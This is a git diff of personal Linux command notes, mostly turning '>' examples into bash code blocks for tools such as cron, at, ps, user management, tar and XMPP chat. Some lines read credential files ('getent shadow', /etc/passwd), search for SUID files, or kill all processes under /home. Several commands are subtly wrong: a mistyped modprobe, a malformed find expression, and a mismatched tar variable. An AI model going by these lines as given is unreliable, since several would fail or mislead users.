Compare commits

...

17 Commits

Author SHA1 Message Date
6f54bad403
add lf documentation 2023-09-04 20:29:06 +02:00
c1aff83d3e
remove old vnc file 2023-09-04 19:37:26 +02:00
554eb989d5
add QR code info 2023-09-01 23:39:42 +02:00
0da2b4c7e8
update format notes in readme 2023-08-03 18:48:13 +02:00
30352efd88
add jenkins 2023-07-18 16:20:02 +02:00
4d7bec641c
fix transmission creation 2023-07-15 02:36:50 +02:00
140c8e38d4
show torrent creation 2023-07-09 01:30:20 +02:00
74e826af1e
remove spaces from new filenames 2023-07-08 20:02:11 +02:00
9a6165250c
add dns notes 2023-07-08 17:38:18 +02:00
38d633ad7f
include void background script 2023-06-27 23:49:55 +02:00
981778a891
add new file script 2023-06-27 23:06:05 +02:00
e1d69bbcf2
place proper variables in xen notes 2023-06-20 15:19:26 +02:00
d10c6b2f9e
translation to base 16 2023-06-17 22:56:26 +02:00
ba8026e0c3
change formatting
input examples are now given as

```bash
input $ARG1
```

While outputs use md's '> ' sign as a quote.
2023-06-17 21:28:20 +02:00
1ba3010b81
edit bash_tricks 2023-06-17 19:02:28 +02:00
f4f70a8976
update agate on arch docs 2023-06-17 18:28:15 +02:00
7f544b6be3
add tag 2023-06-17 17:11:10 +02:00
112 changed files with 2764 additions and 3396 deletions

View File

@ -26,32 +26,44 @@ The chronology should never branch.
If `gitea` can use three different types of database, the documentation should simply pick one and continue instructions from there.
Repetition works better than a reference - if a database requires three commands to set up, it's better to repeat those three commands for every program that requires a database than to just link to another file which discusses databases.
### Closing
Introductory documents should show anything required to cleanly uninstall a program, without leaving bulky configuration files behind.
## Three Input Types
There are three types of examples:
Fixed input:
> ls
Arbitrary Input shows the non-fixed input in italics:
> ls *myFile.txt*
Output shows as unformatted text:
```bash
ls
```
LK img
Mail kn
Projects music
Anything with arbitrary input should be shown as a variable.
```bash
ls $FILE
```
Non-commands (e.g. output) should be shown as quoted text:
> LK img
> Mail kn
> Projects music
# Example
```
How to see which websites you're actively accessing:
> ss -tr dst :443
` ` `bash
ss -tr dst :$PORT
` ` `
> State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
> ESTAB 0 0 192.168.0.14:42476 149.154.167.91:https
> ESTAB 0 0 192.168.0.14:43644 104.17.90.199:https
```
@ -76,5 +88,5 @@ This started as a few personal notes, and will probably continue to look like th
It's a bit of a mess.
Systemd is taken as a default.
Non-systemd commands we relegate to their respective distros, e.g. runit for Void Linux.
Non-systemd commands are mentioned when required for a distro, e.g. runit for Void Linux.

View File

@ -4,29 +4,45 @@ tags: [ "Documentation", "Basics" ]
---
Install with:
> sudo apt install at
```bash
sudo apt install at
```
Enable the daemon service with:
> sudo systemctl enable --now atd
```bash
sudo systemctl enable --now atd
```
Then jobs can be specified with absolute time, such as:
> at 16:20
```bash
at 16:20
```
> at noon
```bash
at noon
```
> at midnight
```bash
at midnight
```
> at teatime
```bash
at teatime
```
Type in your command, e.g.:
> touch /tmp/myFile.txt
```bash
touch /tmp/$FILE.txt
```
The jobs can also be specified relative to the current time:
> at now +15 minutes
```bash
at now +15 minutes
```
Finally, accept the jobs with ^D.
@ -34,24 +50,28 @@ Finally, accept the jobs with ^D.
Display a list of commands to run with:
> atq
```bash
atq
```
`2 Sat Oct 20 16:00:00 2018 a roach-1`
> 2 Sat Oct 20 16:00:00 2018 a roach-1
This will print all pending IDs. Remove a job by the ID with:
> atrm 2
```bash
atrm 2
```
Check /var/spool/atd/
Check `/var/spool/atd/` to see the jobs.
## Automation
Automatically add a job for later, by setting the date, then using echo for the command.
> t="$(date -d "2 minutes" +%R)"
> echo "fortune > ~/file" | at "$t"
> watch cat file
```bash
t="$(date -d "2 minutes" +%R)"
echo "fortune > ~/$FILE" | at "$t"
watch cat $FILE
```
The `$t` here outputs the day in minutes, but you could also do `t="$(date -d "2 days" +%m/%d/%Y)"`.

View File

@ -9,91 +9,136 @@ Don't worry about understanding any of it, just type it in and the habit forms p
You start in a dark room. You want to know where you are by **p**rinting out your **w**orking '**d**irectory' (i.e. 'location'):
> pwd
```bash
pwd
```
Have a look at what is here:
> ls
```bash
ls
```
If you get no response, the list of items is "", meaning "nothing here".
Have a look at **a**ll the files:
> ls -a
```bash
ls -a
```
`. ..`
```bash
. ..
```
So `.` means 'here' and `..` means 'you see stairs leading downwards' (e.g. 'the directory behind you').
Change directory (`cd`) down one level:
> cd ..
```bash
cd ..
```
Look where you are again with `pwd`, then go back up. Use `ls`, and if you see `bob`, then:
> cd bob
```bash
cd bob
```
Move around the directories. The place at the bottom is the 'root', and is known as `/`. Go to the root:
> cd /
```bash
cd /
```
Do `ls` again and change into `etc`. Look at how much space those folders are taking up:
Do `ls` again and `cd` into `etc`. Look at how much space those folders are taking up:
> du iptables
```bash
du iptables
```
That's the number of kilobytes the file is taking up.
Do the same again, but in a human-readable format:
That's the number of kilobytes the file is taking up. Do the same again, but in a human-readable format:
```bash
du -h iptables
```
> du -h iptables
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands.
Have a look at the manual and try another command:
The `du` program has `-h` for 'human', '-s' for 'short', and a bunch of other commands. Have a look at the manual and try another command:
> man du
```bash
man du
```
Once you're done, press 'q' to quit the manual page and try the extra `du` flag you've found.
Now you can try to gain super-powers and take over the system:
> sudo -i
```bash
sudo -i
```
At this point, you are 'root'. All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine. Best to exit out of the root account:
At this point, you are 'root'.
All your commands will be executed, even if they're unsafe, or even if you ask to delete the entire machine.
Best to exit out of the root account:
> exit
```bash
exit
```
Go find a file that isn't a directory. You can tell which is which with:
> ls -l
```bash
ls -l
```
A directory starts with a 'd', like this:
`drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/`
```bash
drwxr-xr-x 79 root root 4096 Jan 3 05:15 /etc/
```
A standard file starts with '-', like this:
```bash
`-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname`
```
Look inside the file /etc/hostname to find out your computer's name:
> cat /etc/hostname
```bash
cat /etc/hostname
```
Print out the words "hello world":
> echo "hello world"
```bash
echo "hello world"
```
Move back to your home directory:
> cd
```bash
cd
```
Take the words 'hello world', and put them in 'my_file':
> echo 'hello world' > my_file
```bash
echo 'hello world' > my_file
```
Measure the disk usage of that file, then put the results at the bottom of the file:
> du my_file >> my_file
```bash
du $FILE >> $FILE
```
And check the results:
> cat my_file
```bash
cat $FILE
```
# Autocompletion
@ -103,50 +148,70 @@ Press tab after typing a few keys and bash will guess what you're trying to typ
Look at your file's owner:
> ls -l my_file
```bash
ls -l $FILE
```
If it says `-rw-r--r-- 1 root root 8 Dec 11 17:26 hostname` then the file is owned by 'root'.
Take your file and change the owner to root:
> sudo chown root my_file
```bash
sudo chown root $FILE
```
Change the same file so it's owned by the group 'audio':
> sudo chown :audio my_file
```bash
sudo chown :audio $FILE
```
Check you did that correctly:
> ls -l my_file
```bash
ls -l my_file
```
`-rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file`
> -rw-r--r-- 1 root audio 0 Jan 3 19:20 my_file
Read the start of that line. Root can 'read' and 'write' to or delete the file. Try to remove (delete) it:
> rm my_file
```bash
rm $FILE
```
You'll see you're not allowed, because you don't own it.
Look at which groups you're in:
> groups
```bash
groups
```
Change the file so that members of the audio group can write to the file:
> sudo chmod g+w my_file
```bash
sudo chmod g+w $FILE
```
Check you got it right with `ls -l`:
> -rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
```bash
-rw-rw-r-- 1 root audio 0 Jan 3 19:20 my_file
```
Try to delete the file again:
> rm my_file
```bash
rm my_file
```
If you can't, you're not in the audio group. Add yourself. You'll need to *modify* your *user account*, by **a**ppending 'audio' to your list of groups.
Use `-a` to **a**ppend, and `-G`, to say you're modifying groups:
> sudo usermod -a -G audio [ your username here ]
```bash
sudo usermod -a -G audio [ your username here ]
```
Now you should be able to remove (delete) the file. Remember, that using 'rm file' will not send it to a recycling bin. The file is gone.
@ -154,59 +219,83 @@ Now you should be able to remove (delete) the file. Remember, that using 'rm fi
Make a directory called 'new test':
> mkdir 'new test'
```bash
mkdir 'new test'
```
Make two directories, called 'A', and 'Z':
> mkdir A Z
```bash
mkdir A Z
```
Make a single directory called 'A Z'
> mkdir 'A Z'
```bash
mkdir 'A Z'
```
# Text Searches
Measure the disk usage of everything ('\*' means 'everything'), and put it in a file called 'disk usage.txt':
> du -sch * > A/'disk usage'.txt
```bash
du -sch * > A/'disk usage'.txt
```
Look at your file:
> cat A/'disk usage.txt'
```bash
cat A/'disk usage.txt'
```
If you think you have too much information, use `grep` to just get the one line of text you want:
> grep total A/disk\ usage.txt
```bash
grep total A/disk\ usage.txt
```
The `grep` program also has a manual ('man page'). You should find out what that `-c` flag does, but the manual is too long to read.
Start the manual:
> man du
```bash
man du
```
Then search for `-c` by pressing `/`. Your final keys should be `man du`, then `/-c`
Find out if the `ls` program also has a 'human readable' format by using `grep` to search for the word 'human':
> man ls | grep human
```bash
man ls | grep human
```
Now use that flag that you've found in combinatin with the `-l` flag to look at a file.
Remove the directory 'Z':
> rmdir Z
```bash
rmdir Z
```
Remove the directory 'Z':
> rmdir Z
```bash
rmdir Z
```
And then remove all the rest:
> rmdir *
```bash
rmdir *
```
The 'A' directory will not budge because it's not empty. Remove it recursively, so the computer will remove the things inside the directory as well as the directory itself:
> rm -r A
```bash
rm -r A
```
# Installation
@ -214,34 +303,48 @@ You get a package manager which installs programs, fonts, et c.
If you're on something like Debian, you'll have `apt`, or if you're on something like Red Hat, you'll have `yum`.
If unsure, ask where a program is:
> whereis yum
```bash
whereis yum
```
> whereis apt
```bash
whereis apt
```
If you get a hit, you can use whatever program that is to install things.
Set a reminder of your package manager:
> echo my package manager is yum | lolcat
```bash
echo my package manager is yum | lolcat
```
If that failed it's because you don't have `lolcat` installed.
Install lolcat:
> sudo apt install lolcat
```bash
sudo apt install lolcat
```
Try the same command again.
Search for things you want, like `libreoffice`, or `gimp`:
> apt search libreoffice
```bash
apt search libreoffice
```
... then install one of them with:
> apt install [ thing ]
```bash
apt install $PROGRAM
```
Remove `lolcat`, because it's useless:
> sudo apt remove lolcat
```bash
sudo apt remove lolcat
```
... and that's pretty much it. You can move, create, destroy, install things, and look things up.

View File

@ -5,27 +5,39 @@ tags: [ "Documentation", "Basics" ]
Show system time:
> date
```bash
date
```
Show hardware time:
> sudo hwclock -r
```bash
sudo hwclock -r
```
Change system time to match hardware time:
> sudo hwclock --hctosys
```bash
sudo hwclock --hctosys
```
Change hardware time to match system time:
> sudo hwclock --systohc
```bash
sudo hwclock --systohc
```
Manually set the hardware time to a specified date:
> sudo hwclock --set --date="8/25/19 13:30:00"
```bash
sudo hwclock --set --date="8/25/19 13:30:00"
```
## Normal Date
> date +%d/%m/%y
```bash
date +%d/%m/%y
```
# Unix Time
@ -33,7 +45,9 @@ Computers started counting time on January 1st, 1970, and added one second-per-s
Track the time in Unix-time:
> date +%s
```bash
date +%s
```
# Network Time Providers
@ -41,9 +55,13 @@ Servers which take their time from an observatory we call Stratum 1 servers. Se
Install ntp with:
> sudo apt-get install -y ntp
```bash
sudo apt-get install -y ntp
```
The shell command for this is `ntpq`. Monitor the service providers using:
> ntpq -p
```bash
ntpq -p
```

View File

@ -41,29 +41,28 @@ case $CRE in
owlbears | monsters ) echo "Really you're a wizard fan"
;;
esac
```
# While and Until
This prints from 1 until 9.
> COUNTER=1
> while [ $COUNTER -lt 2 ]; do
```bash
COUNTER=1
while [ $COUNTER -lt 2 ]; do
> ((COUNTER++))
> echo $COUNTER
> done
```
There's also 'until', which stops when something is true, rather than keeping going when something is true.
# For
> for i in $( ls ); do
```bash
for i in $( ls ); do
> du -sh $i
> done
```
# Sequences
@ -71,13 +70,19 @@ The sequences tool counts up from X in jumps of Y to number Z.
Count from 1 to 10.
> seq 10
```bash
seq 10
```
Count from 4 to 11.
> seq 4 11
```bash
seq 4 11
```
Count from 1 to 100 in steps of 5.
> seq 1 5 100
```bash
seq 1 5 100
```

View File

@ -6,24 +6,29 @@ tags: [ "Documentation", "Basics" ]
The crontab program might have various names, like `cronie` or `crond`.
> sudo apt search -n ^cron
```bash
sudo apt search -n ^cron
```
Once installed, search for the service name, and start it.
> sudo systemctl list-unit-files | grep cron
```bash
sudo systemctl list-unit-files | grep cron
```
> sudo systemctl enable --now cron
```bash
sudo systemctl enable --now cron
```
You can *e*dit your crontab with:
> crontab -e
```bash
crontab -e
```
39 */3 * * * /usr/bin/updatedb
```
> 39 */3 * * * /usr/bin/updatedb
## Syntax
`* * * * *`
@ -34,29 +39,33 @@ These five points refer to:
So '3pm every Sunday' would be:
`0 15 * * 7`
> 0 15 * * 7
Here 'Sunday' is indicated by "7", and '3pm' is 'the 15th hour'.
The minute is '0' (i.e. '0 minutes past three pm').
Doing the same thing, but only in February, would be:
`0 15 * 2 7`
> 0 15 * 2 7
### Full Paths
Executing something requires the full path to where it is, so you cannot simply use `apt update -y`, because cron does not know where `apt` is.
Instead, find out where it is:
> type -P apt
```bash
type -P apt
```
`/usr/bin/apt`
Then put that into the crontab:
> sudo crontab -e
```bash
sudo crontab -e
```
`40 */3 * * * /usr/bin/apt update -y`
> 40 */3 * * * /usr/bin/apt update -y
This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour, e.g. 00:40, 03:40, 06:40.
@ -65,13 +74,17 @@ This will run `apt update -y` as root every 3 hours, at 40 minutes past the hour
You can execute a script as root by putting it into a directory, instead of in the tab.
Look at the available cron directories:
> ls /etc/cron.\*
```bash
ls /etc/cron.\*
```
### Testing with runparts
Run-parts runs all executable scripts in a directory.
> run-parts /etc/cron.hourly
```bash
run-parts /etc/cron.hourly
```
## Tips
@ -84,12 +97,16 @@ First add `HOME=/home/user`, then you can use syntax like this:
*Remember to test the script by executing that line first*:
> $HOME/.scripts/myScript.sh
```bash
$HOME/.scripts/myScript.sh
```
You can also add your regular path to your crontab as a variable (see example below).
If you're using vim as the editor, just run this at the top of your crontab:
> :r!echo PATH=$PATH
```bash
:r!echo PATH=$PATH
```
### `date` Commands

View File

@ -10,17 +10,25 @@ Kernel modules live in lib/modules/$(uname -r)
Load them with
> sudo modprobe ath9k
```bash
sudo modprobe ath9k
```
Or remove one with
> sudo modprove uvcvideo
```bash
sudo modprove uvcvideo
```
The PC's irritating speaker beep can be really annoying. Disable it with:
> sudo modprobe -r pcspeaker
```bash
sudo modprobe -r pcspeaker
```
Permanently disable a module by blacklisting it in `/etc/modprobe.d`:
> echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
```bash
echo 'blacklist pcspkr' > /etc/modprobe.d/*nobeep*.conf
```

View File

@ -7,7 +7,9 @@ If you want to kill a program in a graphical environment, open a terminal and ty
# Graphical Programs
> xkill
```bash
xkill
```
Then click on the application which you want to kill.
@ -15,23 +17,31 @@ Then click on the application which you want to kill.
To kill a program, find it with:
> pgrep discord
```bash
pgrep discord
```
This will give you the UUID, e.g. `19643`.
Kill the program with:
> kill 19643
```bash
kill 19643
```
# Types of Kill
To see an ordered list of termination signals:
> kill -l
```bash
kill -l
```
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
> 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
> 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
> 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
You can select these levels with a '- number'.
@ -39,18 +49,24 @@ Higher numbers are roughly equivalent to insistence.
For example:
> kill -1 3498
```bash
kill -1 3498
```
This roughly means 'maybe stop the program, if you can, maybe reload'.
Or the famous:
> kill -9 3298
```bash
kill -9 3298
```
This means 'kill the program dead, now, no questions, dead'.
**Beware** - if Firefox starts another program to connect to the internet, and you `kill -9 firefox`, this will leave all of Firefox's internet connection programs ("children") still there, but dead and useless.
# Sobriquets
- A dead program which sits there doing nothing is known as a 'zombie'.
- A program which is run by another program is called a 'child program'.
- A child whose parent program is dead is called an 'orphan'.

View File

@ -4,12 +4,16 @@ tags: [ "Documentation", "Basics" ]
---
Link from X to Y.
> ln -s X ../otherdir/Y
```bash
ln -s X ../otherdir/Y
```
If you want a hard link, this will make a single file exist in two locations.
If it is deleted in one location, it continues to exist in the other.
> ln *X* *Y*
```bash
ln *X* *Y*
```
Both files must be on the same hard drive, as they have the same inode (check this with `ls -i file`).

View File

@ -3,29 +3,40 @@ title: "locale"
tags: [ "Documentation", "Basics" ]
---
Your locale tells the computer your location, preferred time-and-date format, standard language, papersize, et c.
A list of supported locales is available at /usr/share/i18n/SUPPORTED
See a full list with:
> cat /usr/share/i18n/SUPPORTED
```bash
cat /usr/share/i18n/SUPPORTED
```
Take the first portion to generate full locale information for a region:
> locale-gen ru_RU.UTF-8
```bash
locale-gen ru_RU.UTF-8
```
Then use this for the current shell session with
> LANG=ru_RU.utf8
```bash
LANG=ru_RU.utf8
```
Expand this to the entire system with:
> export LANG=ru_RU.utf8
```bash
export LANG=ru_RU.utf8
```
You can make this permanent for one user by adding this line to the ~/.profile or ~/.bashrc.
Make it permanent for the entire system by editing:
> sudo vim /etc/defaults/locale
```bash
sudo vim /etc/defaults/locale
```
# Variables

View File

@ -6,7 +6,9 @@ tags: [ "Documentation", "Basics" ]
`type` shows what kind of thing you're running, be it an alias, function, or binary program.
> type cmus
```bash
type cmus
```
# Whereis the Program
@ -16,18 +18,24 @@ Ask where the `angband` program is, along with all its configuration files:
Also `which` shows where a binary file (the program) is,
> which cmus
```bash
which cmus
```
# Quick Search for Files
You'll need to set up `locate` for this by installing `mlocate`.
`mlocate` needs a list of all files on the machine, so run:
> sudo updatedb
```bash
sudo updatedb
```
Then to find a file called 'my-cats.jpg', run:
> locate cats
```bash
locate cats
```
For best results, run `updatedb` regularly, perhaps in crontab.

View File

@ -6,23 +6,33 @@ tags: [ "Documentation", "Basics" ]
See running items in current terminal with
> ps
```bash
ps
```
or more with
> ps -a
```bash
ps -a
```
Or the entire system with
> ps -e
```bash
ps -e
```
Or the entire system with more information, BSD style, with:
> ps aux
```bash
ps aux
```
And then search for a particular program with
> ps aux | grep cmus
```bash
ps aux | grep cmus
```
# Jobs
@ -30,15 +40,21 @@ Pause a job with ^z. Put it in the background with the '&' suffix.
List jobs in the current shell with
> jobs
```bash
jobs
```
And then you can pull number 1 up again with
> fg 1
```bash
fg 1
```
Or continue running a stopped job with:
> bg 1
```bash
bg 1
```
# Nice
@ -46,21 +62,31 @@ This changes how nice a program is, from -20 to 19.
Install a program, but nicely, at nice value '10':
> nice -10 sudo apt -y install libreoffice
```bash
nice -10 sudo apt -y install libreoffice
```
Aggressively use Steam, with a nice value of '-13'.
> nice --13 steam&
```bash
nice --13 steam&
```
Find out that Steam's fucking everything up, so you change its nice value with 'renice':
> renice --5 -p 3781
```bash
renice --5 -p 3781
```
Nerf all of roach-1's processes:
> renice 10 -u roach-1
```bash
renice 10 -u roach-1
```
... or the entire group
> renice -14 -g hackers
```bash
renice -14 -g hackers
```

View File

@ -6,7 +6,9 @@ tags: [ "Documentation", "Basics" ]
Set time to synchronize with an ntp server:
> timedatectl set-ntp true
```bash
timedatectl set-ntp true
```
This info stays in `/usr/share/zoneinfo`.
@ -16,7 +18,9 @@ Local time is kept in /etc/localtime.
According to Dave's LPIC guide, you can set the local time by making asymboling link from your timezone to /etc/localtime, as so:
> sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```bash
sudo ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```
...however this produced the wrong time for me. Further, /etc/localtime produces an output with cat, while the zoneinfo files do not.
@ -24,23 +28,33 @@ According to Dave's LPIC guide, you can set the local time by making asymboling
See local time, language and character settings with:
> locale
```bash
locale
```
List available locales with:
> locale -a
```bash
locale -a
```
To see additional locales which are available (but not necessarily installed):
> cat /usr/share/i18n/SUPPORTED
```bash
cat /usr/share/i18n/SUPPORTED
```
Set a supported locale with:
> locale-gen pl_PL.UTF-8
```bash
locale-gen pl_PL.UTF-8
```
Then set that language, with:
> LANG=pl_PL.UTF-8
```bash
LANG=pl_PL.UTF-8
```
... then reboot.
@ -48,7 +62,9 @@ Then set that language, with:
Glimpse an overview with:
> ntpq -p
```bash
ntpq -p
```
Usually this is run as a service, so just start that service.

View File

@ -6,91 +6,133 @@ tags: [ "Documentation", "Basics" ]
Let's get some entries with 'getent', e.g. passwd or group.
> getent passwd
```bash
getent passwd
```
> getent group
```bash
getent group
```
Obviously:
> getent shadow
```bash
getent shadow
```
## Examples
> sudo adduser maestro
```bash
sudo adduser maestro
```
add user 'maestro'
This depends upon the settings in the /etc/default/useradd file and /etc/login.defs
> sudo useradd -m pinkie
```bash
sudo useradd -m pinkie
```
add user 'pinkie' with a home directory
> sudo adduser -m -e 2017-04-25 temp
```bash
sudo adduser -m -e 2017-04-25 temp
```
add expiry date to user
> userdel maestro
```bash
userdel maestro
```
delete maestro
> userdel -r maestro
```bash
userdel -r maestro
```
delete maestro and hir homefolder
> groups
```bash
groups
```
find which group you are in
> id
```bash
id
```
same
> id -Gn maestro
```bash
id -Gn maestro
```
Find which groups maestro is in
> deluser --remove-home maestro
```bash
deluser --remove-home maestro
```
delete user maestro
> usermod -aG sudo maestro
```bash
usermod -aG sudo maestro
```
add user maestro to group sudo
Add user maestro to group sudo:
> cat /etc/passwd
```bash
cat /etc/passwd
```
list users' passwords (and therefore users)
> groupadd awesome
```bash
groupadd awesome
```
create the group 'awesome'
passwords are stored in /etc/shadow.
Passwords are stored in /etc/shadow.
there are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
There are user accounts for processes such as 'bin' and 'nobody' which are locked, so they're unusable.
> passwd -l bin
```bash
passwd -l bin
```
lock the user 'bin'
Lock the user 'bin'.
> more /etc/passwd | grep games
```bash
more /etc/passwd | grep games
```
we find the name, password and user id of the user 'games'. I.e. the password is 'x', and the user id is '5'. The password is an impossible hash, so no input password could match.
> groupdel learners | delete the group 'learners'
```bash
groupdel learners | delete the group 'learners'
```
> gpasswd -d pi games | remove user 'pi' from the group 'games'
```bash
gpasswd -d pi games | remove user 'pi' from the group 'games'
```
> id games
```bash
id games
```
find the id number of group 'games' (60)
> usermod -aG sudo maestro
```bash
usermod -aG sudo maestro
```
add user to group 'maestro'
@ -114,7 +156,9 @@ Alternatively, change the shell in /etc/passwd.
Usermod also lets you change a user's username:
> usermod -l henry mark
```bash
usermod -l henry mark
```
However, this will not change the home directory.
@ -126,7 +170,9 @@ usermod -L henry
-G or -groups adds the user to other groups:
> usermod -G sudo henry
```bash
usermod -G sudo henry
```
-s adds the user to a shell.
@ -140,45 +186,53 @@ In /etc/group, a group file may look like this:
We can use groupmod, like like usermod, e.g. to change a name:
> groupmod -n frontoffice backoffice
```bash
groupmod -n frontoffice backoffice
```
Delte a group:
> groupdel frontoffice
```bash
groupdel frontoffice
```
# Logins
See list of logged on users.
> w
```bash
w
```
See last logons:
> last
```bash
last
```
or all logon attempts, including bad attempts:
> lastb
```bash
lastb
```
List recently accessed files:
> last -d
```bash
last -d
```
See files opened by steve
> lsof -t -u steve
```bash
lsof -t -u steve
```
See files opened by anyone but steve
> lsof -u ^steve
Fuser can also track people loggingin:
> fuser /var/log/syslog
... and fuser can kill everything accessing the home directory:
> fuser -km /home
```bash
lsof -u ^steve
```
# Looking for Dodgy Files
@ -186,21 +240,29 @@ Some files can be executed by people as if they had super user permissions, and
Let's start with files executable by user:
> sudo find / -type f -perm -g=s -ls
```bash
sudo find / -type f -perm -g=s -ls
```
And then those executable by the group:
> find / -type f -perm -g=s -ls
```bash
find / -type f -perm -g=s -ls
```
And finally, worrying files, executable by anyone as if sie were the owner:
> find / -xdev \( -o -nogroup \) -print
```bash
find / -xdev \( -o -nogroup \) -print
```
Then have a look at resource usage per user.
# SGID
> sudo chmod u+s process.sh
```bash
sudo chmod u+s process.sh
```
This will modify process.sh to that instead of being simply executable, anyone executing it will have the permissions as if owner while executing it.

View File

@ -6,23 +6,33 @@ tags: [ "Documentation", "Chat" ]
Sign up to an account somewhere.
> /connect bob@bobserver.org
```
/connect bob@bobserver.org
```
Check if someone wants to be your friend:
> /sub received
```
/sub received
```
Accept a friend's subscription request:
> /sub add alice@aliceserver.org
```
/sub add alice@aliceserver.org
```
Join a room:
> /join room1@bobserver.org
```
/join room1@bobserver.org
```
Save your configuration so you don't have to do this again:
> /save
```
/save
```
Check your `~/.config/profanity/profrc` for how to data's saved.
@ -30,11 +40,17 @@ Check your `~/.config/profanity/profrc` for how to data's saved.
To automatically sign in, add your password to [pass](../data/pass.md).
> /account set *malin@oosm.org* eval_password pass *xmpp*
```
/account set *malin@oosm.org* eval_password pass *xmpp*
```
> /autoconnect set *malin@oosm.org*
```
/autoconnect set *malin@oosm.org*
```
> /save
```
/save
```
Remember to save the config for other commands too.
@ -42,7 +58,9 @@ Remember to save the config for other commands too.
## Messages
> /msg alice@aliceserver.org
```
/msg alice@aliceserver.org
```
This opens in a new tab.
Switch tabs with alt+number.
@ -51,75 +69,109 @@ Switch tabs with alt+number.
The [docs](https://profanity-im.github.io/guide/0131/reference.html) are massive, so it's often better to use:
> /help <Tab>
```
/help <Tab>
```
## Editing
For long text, you can use vim:
> /executable editor set vim
```
/executable editor set vim
```
> /editor
```
/editor
```
## Sending & Receiving Files
Tell it how to save files:
> /executable urlsave set "wget %u -O %p"
```
/executable urlsave set "wget %u -O %p"
```
Then get the file with:
> /urlsave *<Tab>*
```
/urlsave *<Tab>*
```
Same for `/urlopen`
## Theme
> profanity
```
profanity
```
> /theme list
```
/theme list
```
> theme load batman
```
theme load batman
```
# Encryption
## omemo
> /omemo gen
```
/omemo gen
```
> /omemo start
```
/omemo start
```
You can accept everyone's fingerprint all the time with
> /omemo trustmode firstusage
```
/omemo trustmode firstusage
```
This will still encrypt, but there will be no check that you have the right person the first time you speak with someone.
You can ensure omemo automatcally turns on:
> /omemo policy automatic
```
/omemo policy automatic
```
## otr
Install libotr-dev or libotr5-dev or whatever..
> sudo apt -y install lib5otr-dev
```
sudo apt -y install lib5otr-dev
```
Make your otr keys.
> /otr gen
```
/otr gen
```
Then you can start an otr converstation.
> /otr start bob@jobbies.org
```
/otr start bob@jobbies.org
```
Or if you already have a conversation windows open, switch to our using:
> /otr
```
/otr
```
Finally, verify!
> /otr question "Who are you?" bob
```
/otr question "Who are you?" bob
```
Bob is verified upon the answer, 'bob'.
@ -127,9 +179,15 @@ Bob is verified upon the answer, 'bob'.
Get yours with
> /otr myfp
```
/otr myfp
```
> /otr theirfp
```
/otr theirfp
```
> /otr myfp
```
/otr myfp
```

View File

@ -5,17 +5,25 @@ tags: [ "Documentation", "Chat" ]
See available pastebins:
> wgetpaste -S
```bash
wgetpaste -S
```
Upload script.sh to bpaste:
> wgetpaste -s bpaste script.sh
```bash
wgetpaste -s bpaste script.sh
```
Input clipboard to dpaste with the heading "Title"
> wgetpaste -s dpaste -d Title -x
```bash
wgetpaste -s dpaste -d Title -x
```
Paste in the file then load the result to the right-hand clipboard:
> wgetpaste -s dpaste -X
```bash
wgetpaste -s dpaste -X
```

View File

@ -1,26 +1,79 @@
---
title: "archives"
tags: [ "Documentation", "backups" ]
title: "Archives"
tags: [ "Documentation", "tar", "backups" ]
---
# GPG Archives
# `tar`
Create an encrypted archive with `gpg`:
## Create
> tar czvpf - file1.txt file2.pdf file3.jpg | gpg --symmetric --cipher-algo aes256 -o myarchive.tar.gz.gpg
Combine many files and directories into a single t-archive file.
And extract it with `gpg`:
```bash
tar cf "$ARCHIVE".tar $DIR
```
You can remember this with the mnemonic '*C*reate *F*ile'.
> gpg -d myarchive.tar.gz.gpg | tar xzvf -
Unfortunately, this stores the full file path, so making a tar archive of `/etc/nginx/` will store `etc/nginx` (without the leading `/`.
It's often better to tell tar which path to start from using the `-C` flag.
```bash
tar cf "$ARCHIVE".tar -C /etc/ nginx
```
Check the contents of your archive with:
```bash
tar tf "$ARCHIVE".tar
```
If you want to store 'everything in a directory', then using `*` will not work, because it will target everything in the *current* directory.
Instead, you can store the target in a variable:
```bash
files=$(ls /etc/nginx)
tar cf "$ARCHIVE".tar -C /etc/nginx/ $file
```
## Extract
Extract the tar archive with
> tar xf "$ARCHIVE".tar
You can remember this with the mnemonic 'e*X*tract *F*ile'.
## Compress
Create a zip-compressed archive with the `z` flag.
```bash
tar czf "$ARCHIVE".tgz -C /etc/nginx/ $file
```
You can use any file ending you want, but sane people like to use '.tgz' or '.tar.tgz'.
# 7zip
(also called 'p7zip' or '7z')
Make archive:
> 7za a -tzip -pPASSWORD -mem=AES256 archive.zip file1 file2
```bash
PASSWORD=my_password
```
```bash
7za a -tzip -p$PASSWORD -mem=AES256 $ARCHIVE.zip $FILE_1 $FILE_2
```
Note that people can still see every filename in your archive, and can change those files.
They just can't read the contents.
Unzip:
> 7za e archive.zip
```bash
7za x archive.zip
```
7zip will open anything: zip-files, rar-files, a tin of beans, *anything*.
However, the extracted tgz files will just be tar files, so you will still need to use tar to extract them (see above).

View File

@ -5,28 +5,36 @@ tags: [ "Documentation", "Backups" ]
Install unison on both machines, and make sure both have the same version of unison, with the same version of the ocaml compiler (the smallest difference will cause problems).
> unison -version
```bash
unison -version
```
Create the `~/.unison` directory on both machines.
Make a job called `backup`:
> vim ~/.unison/*backup*.prf
You can name the file anything, but it must end in .prf.
Here is an example job, which synchronizes the `~/music` directory with a remote machine.
```bash
JOB=backup
```
Here is an example job, which synchronizes the `~/music` directory with a remote machine which has the same username.
```bash
echo "
auto = true
root=/home/ghost
root=ssh://ghost@192.168.0.10//home/ghost/
